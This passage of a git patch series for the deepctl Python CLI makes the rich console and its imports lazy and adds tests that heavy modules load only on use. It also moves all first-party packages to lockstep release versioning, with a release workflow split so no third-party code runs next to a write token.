 _agentic = is_agentic()
 
+
+class _LazyConsole:
+    """A rich ``Console`` that is built, and rich imported, on first use.
+
+    Importing rich costs every command, including ``--help``; most runs
+    print through a console only on some paths. Attribute reads, writes and
+    deletes go to the real console, so ``console.print(...)``,
+    ``console.quiet = True`` and ``mock.patch.object(console, "print")``
+    behave as before, and the module-level identity of ``console`` and
+    ``stderr_console`` never changes.
+    """
+
+    __slots__ = ("_deepctl_console", "_deepctl_kwargs")
+
+    def __init__(self, **kwargs: Any) -> None:
+        object.__setattr__(self, "_deepctl_kwargs", kwargs)
+        object.__setattr__(self, "_deepctl_console", None)
+
+    def _deepctl_real(self) -> Console:
+        real = object.__getattribute__(self, "_deepctl_console")
+        if real is None:
+            from rich.console import Console
+
+            real = Console(**object.__getattribute__(self, "_deepctl_kwargs"))
+            object.__setattr__(self, "_deepctl_console", real)
+        return cast("Console", real)
+
+    def __getattr__(self, name: str) -> Any:
+        return getattr(self._deepctl_real(), name)
+
+    def __setattr__(self, name: str, value: Any) -> None:
+        setattr(self._deepctl_real(), name, value)
+
+    def __delattr__(self, name: str) -> None:
+        delattr(self._deepctl_real(), name)
+
+    def __enter__(self) -> Console:
+        return self._deepctl_real().__enter__()
+
+    def __exit__(self, *exc_info: Any) -> None:
+        self._deepctl_real().__exit__(*exc_info)
+
+    def __repr__(self) -> str:
+        return f"<lazy {object.__getattribute__(self, '_deepctl_kwargs')!r} console>"
+
+
 # Global console instance — plain when agentic, rich when interactive
-console = Console(no_color=_agentic, highlight=not _agentic)
-stderr_console = Console(stderr=True, no_color=_agentic, highlight=not _agentic)
+console = cast("Console", _LazyConsole(no_color=_agentic, highlight=not _agentic))
+stderr_console = cast(
+    "Console",
+    _LazyConsole(stderr=True, no_color=_agentic, highlight=not _agentic),
+)
 
 # Global output configuration
 _output_config: dict[str, Any] = {
@@ -286,6 +329,8 @@ def _format_csv(self, data: Any) -> str:
 
     def _create_table_from_dict_list(self, data: list[dict[str, Any]]) -> str:
         """Create table from list of dictionaries."""
+        from rich.table import Table
+
         table = Table(show_header=True, header_style="bold blue")
 
         # Add columns
@@ -312,6 +357,8 @@ def _create_table_from_dict_list(self, data: list[dict[str, Any]]) -> str:
 
     def _create_table_from_dict(self, data: dict[str, Any]) -> str:
         """Create table from dictionary."""
+        from rich.table import Table
+
         table = Table(show_header=True, header_style="bold blue")
         table.add_column("Key")
         table.add_column("Value")
@@ -331,6 +378,8 @@ def _create_table_from_dict(self, data: dict[str, Any]) -> str:
 
     def _create_simple_table(self, data: list[Any]) -> str:
         """Create simple table from list."""
+        from rich.table import Table
+
         table = Table(show_header=True, header_style="bold blue")
         table.add_column("Value")
 
@@ -358,6 +407,8 @@ def print_output(data: Any, format_type: str | None = None) -> None:
     formatter = OutputFormatter(format_type)
 
     if format_type == "json":
+        from rich.json import JSON
+
         # Use Rich's JSON formatter for better display
         if isinstance(data, str):
             try:
@@ -369,6 +420,8 @@ def print_output(data: Any, format_type: str | None = None) -> None:
             console.print(JSON.from_data(data))
     elif format_type == "yaml":
         # Use Rich's syntax highlighting for YAML
+        from rich.syntax import Syntax
+
         yaml_str = formatter.format(data)
         syntax = Syntax(yaml_str, "yaml", theme="monokai", line_numbers=False)
         console.print(syntax)
@@ -481,6 +534,14 @@ def create_progress_bar(description: str = "Processing...") -> Progress:
     Returns:
         Progress bar instance
     """
+    from rich.progress import (
+        BarColumn,
+        Progress,
+        SpinnerColumn,
+        TaskProgressColumn,
+        TextColumn,
+    )
+
     return Progress(
         SpinnerColumn(),
         TextColumn("[progress.description]{task.description}"),
@@ -500,6 +561,8 @@ def create_spinner(description: str = "Processing...") -> Progress:
     Returns:
         Spinner instance
     """
+    from rich.progress import Progress, SpinnerColumn, TextColumn
+
     return Progress(
         SpinnerColumn(),
         TextColumn("[progress.description]{task.description}"),
@@ -517,6 +580,8 @@ def print_panel(content: str, title: str = "", border_style: str = "blue") -> No
         border_style: Border style
     """
     if not _output_config["quiet"]:
+        from rich.panel import Panel
+
         panel = Panel(content, title=title, border_style=border_style)
         console.print(panel)
 
diff --git a/packages/deepctl-core/tests/unit/test_core_all_resolves.py b/packages/deepctl-core/tests/unit/test_core_all_resolves.py
new file mode 100644
index 00000000..715d25ab
--- /dev/null
+++ b/packages/deepctl-core/tests/unit/test_core_all_resolves.py
@@ -0,0 +1,178 @@
+"""deepctl_core's public names load lazily and still all resolve.
+
+``import deepctl_core`` imports no submodule; each name imports only the
+submodule that defines it. Fresh interpreters, so earlier tests' imports
+don't hide anything.
+"""
+
+from __future__ import annotations
+
+import importlib
+import json
+import os
+import shutil
+import subprocess
+import sys
+import textwrap
+from pathlib import Path
+
+import pytest
+
+import deepctl_core
+
+
+def _fresh(code: str) -> subprocess.CompletedProcess[str]:
+    env = {k: v for k, v in os.environ.items() if not k.startswith("PYTHON")}
+    env["DEEPCTL_TELEMETRY_DISABLED"] = "1"
+    return subprocess.run(
+        [sys.executable, "-c", textwrap.dedent(code)],
+        capture_output=True,
+        text=True,
+        env=env,
+        timeout=60,
+    )
+
+
+def _modules_after(statement: str) -> set[str]:
+    proc = _fresh(
+        f"""
+        import json, sys
+        {statement}
+        print(json.dumps(sorted(sys.modules)))
+        """
+    )
+    assert proc.returncode == 0, proc.stderr
+    return set(json.loads(proc.stdout))
+
+
+def test_every_public_name_resolves_to_its_definition() -> None:
+    for name in deepctl_core.__all__:
+        value = getattr(deepctl_core, name)
+        module = importlib.import_module(
+            f"deepctl_core.{deepctl_core._LAZY_NAMES[name]}"
+        )
+        assert value is getattr(module, name), name
+    assert set(deepctl_core._LAZY_NAMES) == set(deepctl_core.__all__)
+
+
+def test_star_import_resolves_everything() -> None:
+    proc = _fresh(
+        """
+        import json
+        from deepctl_core import *
+        import deepctl_core
+        missing = [n for n in deepctl_core.__all__ if n not in globals()]
+        print(json.dumps(missing))
+        """
+    )
+    assert proc.returncode == 0, proc.stderr
+    assert json.loads(proc.stdout) == []
+
+
+def test_dir_lists_the_public_names_before_use() -> None:
+    proc = _fresh(
+        """
+        import json, deepctl_core
+        print(json.dumps(dir(deepctl_core)))
+        """
+    )
+    names = set(json.loads(proc.stdout))
+    assert set(deepctl_core.__all__) <= names
+    assert {"config", "output"} <= names
+
+
+def test_unknown_name_is_an_attribute_error() -> None:
+    with pytest.raises(AttributeError, match="no attribute 'NoSuchName'"):
+        deepctl_core.NoSuchName  # noqa: B018
+    with pytest.raises(ImportError):
+        exec("from deepctl_core import NoSuchName", {})
+
+
+def test_submodules_are_attributes() -> None:
+    proc = _fresh(
+        """
+        import deepctl_core
+        print(deepctl_core.config.__name__, deepctl_core.output.__name__)
+        """
+    )
+    assert proc.stdout.split() == ["deepctl_core.config", "deepctl_core.output"]
+
+
+def test_import_deepctl_core_imports_no_submodule() -> None:
+    modules = _modules_after("import deepctl_core")
+    assert {m for m in modules if m.startswith("deepctl_core.")} == set()
+    assert not modules & {"click", "pydantic", "rich", "yaml", "httpx"}
+
+
+@pytest.mark.parametrize(
+    ("statement", "absent"),
+    [
+        ("import deepctl_core.client", {"deepgram", "httpx"}),
+        ("import deepctl_core.auth", {"deepgram", "httpx", "keyring"}),
+        ("import deepctl_core.output", {"rich"}),
+        ("from deepctl_core import BaseCommand", {"deepgram", "httpx", "keyring"}),
+    ],
+)
+def test_heavy_imports_wait_for_use(statement: str, absent: set[str]) -> None:
+    modules = _modules_after(statement)
+    tops = {m.split(".")[0] for m in modules}
+    assert not tops & absent, sorted(tops & absent)
+
+
+def test_type_checkers_see_the_names(tmp_path: Path) -> None:
+    """mypy --strict on code using 10 names: no attr-defined."""
+    mypy = shutil.which("mypy") or (
+        shutil.which("mypy", path=os.path.dirname(sys.executable))
+    )
+    if not mypy:
+        pytest.skip("mypy is not installed")
+    code = textwrap.dedent(
+        """
+        from deepctl_core import (
+            AuthManager, BaseCommand, BaseResult, Config, DeepgramClient,
+            ErrorResult, PluginManager, TimingContext, print_error, setup_output,
+        )
+
+        def use(config: Config) -> None:
+            auth = AuthManager(config)
+            DeepgramClient(config, auth)
+            PluginManager()
+            ErrorResult(error="x")
+            BaseResult(status="ok")
+            with TimingContext("t"):
+                setup_output("json")
+                print_error("x")
+            assert issubclass(BaseCommand, object)
+
+        reveal_type(Config)
+        """
+    )
+    fixture = tmp_path / "uses_core.py"
+    fixture.write_text(code)
+    # Run from tmp_path, so the repo's [tool.mypy] `files` setting isn't used.
+    proc = subprocess.run(
+        [mypy, "--strict", "--no-incremental", str(fixture)],
+        capture_output=True,
+        text=True,
+        timeout=300,
+        cwd=tmp_path,
+    )
+    assert "attr-defined" not in proc.stdout, proc.stdout
+    assert proc.returncode == 0, proc.stdout
+    # The real class, not the Any a bare module __getattr__ would give.
+    assert "deepctl_core.config.Config" in proc.stdout, proc.stdout
+
+    # A misspelled name is an error for the type checker, not a silent Any.
+    typo = tmp_path / "typo.py"
+    typo.write_text(
+        "from deepctl_core import Confg\nimport deepctl_core\ndeepctl_core.AuthManagr\n"
+    )
+    proc = subprocess.run(
+        [mypy, "--strict", "--no-incremental", str(typo)],
+        capture_output=True,
+        text=True,
+        timeout=300,
+        cwd=tmp_path,
+    )
+    assert proc.returncode == 1, proc.stdout
+    assert proc.stdout.count("error:") == 2, proc.stdout
diff --git a/tests/unit/test_entry_point.py b/tests/unit/test_entry_point.py
index 083c8ad8..3620f9fe 100644
--- a/tests/unit/test_entry_point.py
+++ b/tests/unit/test_entry_point.py
@@ -227,12 +227,14 @@ def test_exit_0_one_line_no_traceback(self, home: Path, args: list[str]) -> None
 
 class TestHttpxCliGuard:
     def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
-        """After main(), httpx has its stub CLI, not the click one."""
+        """After main(), httpx has its stub CLI and pygments never loaded."""
         code = textwrap.dedent(
             """
+            import importlib.util
             import inspect
             import sys
 
+            assert importlib.util.find_spec("pygments") is not None
             sys.argv = ["dg", "--help"]
             from deepctl.main import main
             try:
@@ -241,6 +243,7 @@ def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
                 pass
             import httpx
             print(
+                "pygments" in sys.modules,
                 sys.modules["httpx._main"] is None,
                 inspect.isfunction(httpx.main),
                 file=sys.stderr,
@@ -249,4 +252,4 @@ def test_import_httpx_skips_its_cli(self, tmp_path: Path) -> None:
         )
         proc = _run([sys.executable, "-c", code], tmp_path)
         assert proc.returncode == 0, proc.stderr
-        assert proc.stderr.split()[-2:] == ["True", "True"], proc.stderr
+        assert proc.stderr.split()[-3:] == ["False", "True", "True"], proc.stderr

From a3c698a3383853448da758892fd76075e127bdca Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 09:14:43 -0400
Subject: [PATCH 04/88] build(release): version every first-party package in
 lockstep

Every first-party package (the root plus the 29 packages under
packages/, not the plugin example) now ships at the root's version, and
every first-party dependency is pinned `==` that version.

- release-please has one component for all of them. Its extra-files move
  each package's version and every pin line marked `#
  x-release-please-version`, so a release PR proposes one version and
  one tag. The packages no longer get their own GitHub releases. The
  plugin example stays its own component, with the root excluding its
  path.
- Every package declares `deepctl==` the same version. Without that
  back-edge, `pip install -U deepctl-cmd-listen` upgraded only that
  package and left the CLI and the other packages behind; with it, the
  resolver moves the whole set or refuses.
- deepctl-cmd-plugin now depends on deepctl-cmd-update, which it
  imports.
- scripts/check_dependency_floors.py becomes the lockstep check: it
  fails on any version or pin that differs, a `>=` floor, a missing
  back-edge, a package root does not list, an unmarked pin line, a
  missing workspace source, or a first-party requirement it can't read
  line by line, and `--fix` repairs what it can. The CI job is now
  "Lockstep versions".
- uv.lock is regenerated (uv 0.13.6); generated package READMEs no
  longer list first-party pins.

Mixing an older deepctl-cmd-* with a newer deepctl now conflicts;
upgrade deepctl itself.

Release PRs are re-pinned in two jobs, so no third-party code runs
next to a write credential:

- sync-release-pr has no token and no secrets. It runs the lockstep
  check with --fix, `uv lock` and the check again with uv 0.13.6 and a
  hash-pinned `packaging`, refuses any change outside the pyprojects and
  uv.lock, and hands the result over as a patch artifact.
- push-release-pr runs no Python and no uv. In the `release` environment
  it mints a token from the release GitHub App, scoped to this
  repository with contents: write only, applies the patch on the commit
  it was computed against, checks the patch touches only the pyprojects
  and uv.lock, and pushes. The token reaches git through GIT_CONFIG_*
  environment entries, never a URL, an argument or .git/config, with
  hooks off.

Commits pushed with the App token trigger the PR's workflows, so the
required checks run on the release PR's final head; a GITHUB_TOKEN push
triggered none of them. Both jobs refuse anything but a release-please
branch. The App's client ID is the RELEASE_APP_CLIENT_ID variable and
its private key the RELEASE_APP_PRIVATE_KEY secret of the `release`
environment, which only main may deploy to.

For tests, tests/upgrade/run.sh runs the upgrade matrix behind the lockstep
layout against a local PEP 503 index, in --network none containers:

- lockstep: fresh installs with pip, uv pip, uv tool and pipx resolve
  exactly the 30 first-party dists; `-U` of any one dist from a release
  moves all of them to the next one; upgrades from the field versions
  land on the release with every dist at the same version; and a
  sentry-sdk 3.0 prerelease can't be resolved into an install.
- release-please: runs the release-please version the release workflow
  uses over the tree, offline, and checks that one release PR moves
  every version and pin and nothing else.
- layout: the planned 1.0 layout (relocated code, tombstone packages)
  against the field versions.

CI checks the closure at its floors. Every package declares `deepctl==`
the release version, so any install pulls the whole closure. A new
test.yml job (Python 3.10 and 3.12) builds every package and installs
that closure once with every third-party dependency at the lowest
version the 30 pyprojects together allow (wheels only). In that
environment it runs `pip check`, `dg --help` and every command's and
subcommand's --help, and the unit tests, one suite per process. It also
lists declared floors that sit below what the closure resolves. The job
is part of the "All checks" rollup.
---
 .github/.release-please-manifest.json         |  31 +-
 .github/release-please-config.json            | 278 ++++----
 .github/workflows/release.yml                 | 199 +++++-
 .github/workflows/test.yml                    |  52 +-
 CONTRIBUTING.md                               |  49 +-
 Makefile                                      |   4 +-
 README.md                                     |   4 +-
 packages/deepctl-cmd-api/pyproject.toml       |   9 +-
 packages/deepctl-cmd-billing/pyproject.toml   |   9 +-
 .../deepctl-cmd-completion/pyproject.toml     |   9 +-
 .../deepctl-cmd-debug-audio/pyproject.toml    |   9 +-
 .../deepctl-cmd-debug-browser/pyproject.toml  |   9 +-
 .../deepctl-cmd-debug-network/pyproject.toml  |   9 +-
 .../deepctl-cmd-debug-probe/pyproject.toml    |  12 +-
 .../deepctl-cmd-debug-toolkit/pyproject.toml  |   9 +-
 packages/deepctl-cmd-debug/pyproject.toml     |   9 +-
 packages/deepctl-cmd-ffprobe/pyproject.toml   |  12 +-
 packages/deepctl-cmd-init/pyproject.toml      |   6 +-
 packages/deepctl-cmd-keys/pyproject.toml      |   9 +-
 packages/deepctl-cmd-listen/pyproject.toml    |  12 +-
 packages/deepctl-cmd-login/pyproject.toml     |   9 +-
 packages/deepctl-cmd-mcp/pyproject.toml       |   9 +-
 packages/deepctl-cmd-members/pyproject.toml   |   9 +-
 packages/deepctl-cmd-models/pyproject.toml    |   9 +-
 packages/deepctl-cmd-plugin/pyproject.toml    |  11 +-
 packages/deepctl-cmd-projects/pyproject.toml  |   9 +-
 packages/deepctl-cmd-read/pyproject.toml      |   9 +-
 packages/deepctl-cmd-requests/pyproject.toml  |   9 +-
 packages/deepctl-cmd-skills/pyproject.toml    |   9 +-
 packages/deepctl-cmd-speak/pyproject.toml     |   9 +-
 .../deepctl-cmd-transcribe/pyproject.toml     |  12 +-
 packages/deepctl-cmd-update/pyproject.toml    |   6 +-
 packages/deepctl-cmd-usage/pyproject.toml     |  12 +-
 packages/deepctl-core/pyproject.toml          |   6 +-
 packages/deepctl-shared-utils/pyproject.toml  |  13 +-
 .../src/deepctl_shared_utils/__init__.py      |   2 +-
 packages/deepctl-telemetry/pyproject.toml     |   6 +-
 .../src/deepctl_telemetry/__init__.py         |   2 +-
 pyproject.toml                                |  60 +-
 scripts/check_dependency_floors.py            | 638 ++++++++++++------
 scripts/generate_readmes.py                   |   8 +-
 src/deepctl/__init__.py                       |   2 +-
 tests/unit/test_dependency_floors.py          | 530 ++++++++++-----
 tests/unit/test_release_config.py             | 121 ++++
 tests/upgrade/cells/lockstep.sh               |  76 +++
 tests/upgrade/check_wheels.py                 |  85 +++
 tests/upgrade/image/Dockerfile                |   9 +
 tests/upgrade/layout/aggregate.py             | 100 +++
 tests/upgrade/layout/build_wheels.sh          |  17 +
 tests/upgrade/layout/fetch.sh                 |  37 +
 tests/upgrade/layout/lib.sh                   |  42 ++
 tests/upgrade/layout/m_backedge.sh            |  15 +
 tests/upgrade/layout/m_next.sh                |  20 +
 tests/upgrade/layout/m_pip.sh                 |  31 +
 tests/upgrade/layout/m_pipx.sh                |  22 +
 tests/upgrade/layout/m_rc.sh                  |  28 +
 tests/upgrade/layout/m_siblings.sh            |  12 +
 tests/upgrade/layout/m_uv.sh                  |  46 ++
 tests/upgrade/layout/m_uvx.sh                 |  12 +
 tests/upgrade/layout/m_windows.sh             |  42 ++
 tests/upgrade/layout/mk_layouts.py            | 215 ++++++
 tests/upgrade/layout/pypi_versions.py         |  10 +
 tests/upgrade/layout/static_checks.py         |  90 +++
 tests/upgrade/lib.sh                          |  37 +
 tests/upgrade/lowest_direct.sh                | 104 +++
 tests/upgrade/mkidx.py                        |  54 ++
 tests/upgrade/probe.py                        | 114 ++++
 tests/upgrade/release-please/assert_bump.py   |  94 +++
 tests/upgrade/release-please/dry_run.js       |  73 ++
 tests/upgrade/release-please/expect.py        |  18 +
 tests/upgrade/release-please/run.sh           |  46 ++
 tests/upgrade/run.sh                          | 126 ++++
 tests/upgrade/serve.py                        |   9 +
 uv.lock                                       | 120 +++-
 74 files changed, 3228 insertions(+), 726 deletions(-)
 create mode 100644 tests/unit/test_release_config.py
 create mode 100755 tests/upgrade/cells/lockstep.sh
 create mode 100644 tests/upgrade/check_wheels.py
 create mode 100644 tests/upgrade/image/Dockerfile
 create mode 100644 tests/upgrade/layout/aggregate.py
 create mode 100755 tests/upgrade/layout/build_wheels.sh
 create mode 100755 tests/upgrade/layout/fetch.sh
 create mode 100755 tests/upgrade/layout/lib.sh
 create mode 100755 tests/upgrade/layout/m_backedge.sh
 create mode 100755 tests/upgrade/layout/m_next.sh
 create mode 100755 tests/upgrade/layout/m_pip.sh
 create mode 100755 tests/upgrade/layout/m_pipx.sh
 create mode 100755 tests/upgrade/layout/m_rc.sh
 create mode 100755 tests/upgrade/layout/m_siblings.sh
 create mode 100755 tests/upgrade/layout/m_uv.sh
 create mode 100755 tests/upgrade/layout/m_uvx.sh
 create mode 100755 tests/upgrade/layout/m_windows.sh
 create mode 100644 tests/upgrade/layout/mk_layouts.py
 create mode 100644 tests/upgrade/layout/pypi_versions.py
 create mode 100644 tests/upgrade/layout/static_checks.py
 create mode 100644 tests/upgrade/lib.sh
 create mode 100755 tests/upgrade/lowest_direct.sh
 create mode 100644 tests/upgrade/mkidx.py
 create mode 100644 tests/upgrade/probe.py
 create mode 100644 tests/upgrade/release-please/assert_bump.py
 create mode 100644 tests/upgrade/release-please/dry_run.js
 create mode 100644 tests/upgrade/release-please/expect.py
 create mode 100755 tests/upgrade/release-please/run.sh
 create mode 100755 tests/upgrade/run.sh
 create mode 100644 tests/upgrade/serve.py

diff --git a/.github/.release-please-manifest.json b/.github/.release-please-manifest.json
index b3666727..8b5bd468 100644
--- a/.github/.release-please-manifest.json
+++ b/.github/.release-please-manifest.json
@@ -1,33 +1,4 @@
 {
-  ".": "0.4.0",
-  "packages/deepctl-core": "0.3.0",
-  "packages/deepctl-shared-utils": "0.1.13",
-  "packages/deepctl-telemetry": "0.0.7",
-  "packages/deepctl-cmd-api": "0.0.2",
-  "packages/deepctl-cmd-login": "0.2.0",
-  "packages/deepctl-cmd-projects": "0.2.0",
-  "packages/deepctl-cmd-transcribe": "0.1.12",
-  "packages/deepctl-cmd-usage": "0.2.1",
-  "packages/deepctl-cmd-debug": "0.1.13",
-  "packages/deepctl-cmd-debug-audio": "0.1.14",
-  "packages/deepctl-cmd-debug-browser": "0.1.12",
-  "packages/deepctl-cmd-debug-network": "0.1.12",
-  "packages/deepctl-cmd-debug-probe": "0.0.2",
-  "packages/deepctl-cmd-debug-toolkit": "0.2.0",
-  "packages/deepctl-cmd-ffprobe": "0.0.3",
-  "packages/deepctl-cmd-mcp": "0.1.15",
-  "packages/deepctl-cmd-update": "0.2.7",
-  "packages/deepctl-cmd-plugin": "0.1.14",
-  "packages/deepctl-cmd-skills": "0.0.9",
-  "packages/deepctl-cmd-init": "0.1.0",
-  "packages/deepctl-cmd-models": "0.1.1",
-  "packages/deepctl-cmd-speak": "0.0.5",
-  "packages/deepctl-cmd-keys": "0.1.0",
-  "packages/deepctl-cmd-read": "0.1.0",
-  "packages/deepctl-cmd-listen": "0.0.14",
-  "packages/deepctl-cmd-requests": "0.1.0",
-  "packages/deepctl-cmd-billing": "0.1.0",
-  "packages/deepctl-cmd-members": "0.1.0",
-  "packages/deepctl-cmd-completion": "0.0.3",
+  ".": "0.4.1",
   "packages/deepctl-plugin-example": "0.1.12"
 }
diff --git a/.github/release-please-config.json b/.github/release-please-config.json
index fd5be2c1..63a6038d 100644
--- a/.github/release-please-config.json
+++ b/.github/release-please-config.json
@@ -10,161 +10,135 @@
       "component": "deepctl",
       "include-component-in-tag": false,
       "make-latest": true,
+      "exclude-paths": [
+        "packages/deepctl-plugin-example"
+      ],
       "extra-files": [
-        "src/deepctl/__init__.py"
+        "src/deepctl/__init__.py",
+        {
+          "type": "generic",
+          "path": "pyproject.toml"
+        },
+        "packages/deepctl-shared-utils/src/deepctl_shared_utils/__init__.py",
+        "packages/deepctl-telemetry/src/deepctl_telemetry/__init__.py",
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-api/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-billing/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-completion/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug-audio/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug-browser/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug-network/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug-probe/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-debug-toolkit/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-ffprobe/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-init/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-keys/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-listen/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-login/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-mcp/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-members/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-models/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-plugin/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-projects/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-read/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-requests/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-skills/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-speak/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-transcribe/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-update/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-cmd-usage/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-core/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-shared-utils/pyproject.toml"
+        },
+        {
+          "type": "generic",
+          "path": "packages/deepctl-telemetry/pyproject.toml"
+        }
       ]
     },
-    "packages/deepctl-core": {
-      "component": "deepctl-core",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-shared-utils": {
-      "component": "deepctl-shared-utils",
-      "include-component-in-tag": true,
-      "make-latest": false,
-      "extra-files": [
-        "src/deepctl_shared_utils/__init__.py"
-      ]
-    },
-    "packages/deepctl-telemetry": {
-      "component": "deepctl-telemetry",
-      "include-component-in-tag": true,
-      "make-latest": false,
-      "extra-files": [
-        "src/deepctl_telemetry/__init__.py"
-      ]
-    },
-    "packages/deepctl-cmd-api": {
-      "component": "deepctl-cmd-api",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-login": {
-      "component": "deepctl-cmd-login",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-projects": {
-      "component": "deepctl-cmd-projects",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-transcribe": {
-      "component": "deepctl-cmd-transcribe",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-usage": {
-      "component": "deepctl-cmd-usage",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug": {
-      "component": "deepctl-cmd-debug",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug-audio": {
-      "component": "deepctl-cmd-debug-audio",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug-browser": {
-      "component": "deepctl-cmd-debug-browser",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug-network": {
-      "component": "deepctl-cmd-debug-network",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug-probe": {
-      "component": "deepctl-cmd-debug-probe",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-debug-toolkit": {
-      "component": "deepctl-cmd-debug-toolkit",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-ffprobe": {
-      "component": "deepctl-cmd-ffprobe",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-mcp": {
-      "component": "deepctl-cmd-mcp",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-update": {
-      "component": "deepctl-cmd-update",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-plugin": {
-      "component": "deepctl-cmd-plugin",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-skills": {
-      "component": "deepctl-cmd-skills",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-init": {
-      "component": "deepctl-cmd-init",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-models": {
-      "component": "deepctl-cmd-models",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-speak": {
-      "component": "deepctl-cmd-speak",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-keys": {
-      "component": "deepctl-cmd-keys",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-read": {
-      "component": "deepctl-cmd-read",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-listen": {
-      "component": "deepctl-cmd-listen",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-requests": {
-      "component": "deepctl-cmd-requests",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-billing": {
-      "component": "deepctl-cmd-billing",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-members": {
-      "component": "deepctl-cmd-members",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
-    "packages/deepctl-cmd-completion": {
-      "component": "deepctl-cmd-completion",
-      "include-component-in-tag": true,
-      "make-latest": false
-    },
     "packages/deepctl-plugin-example": {
       "component": "deepctl-plugin-example",
       "include-component-in-tag": true,
diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml
index 2c061010..f4400384 100644
--- a/.github/workflows/release.yml
+++ b/.github/workflows/release.yml
@@ -27,23 +27,45 @@ jobs:
           config-file: .github/release-please-config.json
           manifest-file: .github/.release-please-manifest.json
 
+  # The release PR's re-pin runs as two jobs so that no third-party code ever
+  # runs next to a write credential:
+  #   sync-release-pr  no token, no secrets. Runs uv and the lockstep check,
+  #                    and hands the resulting change over as a patch artifact.
+  #   push-release-pr  mints the release App token and runs no Python and no
+  #                    uv: it applies the patch, checks which files it touches,
+  #                    commits and pushes.
+  # A release-PR job that must run after the re-pin goes here as
+  # `needs: [release-please, push-release-pr]`. Benchmark gates report from the
+  # PR's own workflows, not from this file.
   sync-release-pr:
-    name: Sync lockfile and floors on the release PR
+    name: Re-pin lockstep versions on the release PR
     needs: release-please
     if: ${{ needs.release-please.outputs.prs_created == 'true' && needs.release-please.outputs.pr }}
     runs-on: ubuntu-latest
-    # This job pushes to the release branch. Two commits landing on main in
-    # quick succession would otherwise run two of these against the same
-    # branch and the loser fails on a non-fast-forward push, reddening the
-    # release workflow for no real reason. Serialize instead of cancelling:
-    # the second run still has work to do once the first one's commit lands.
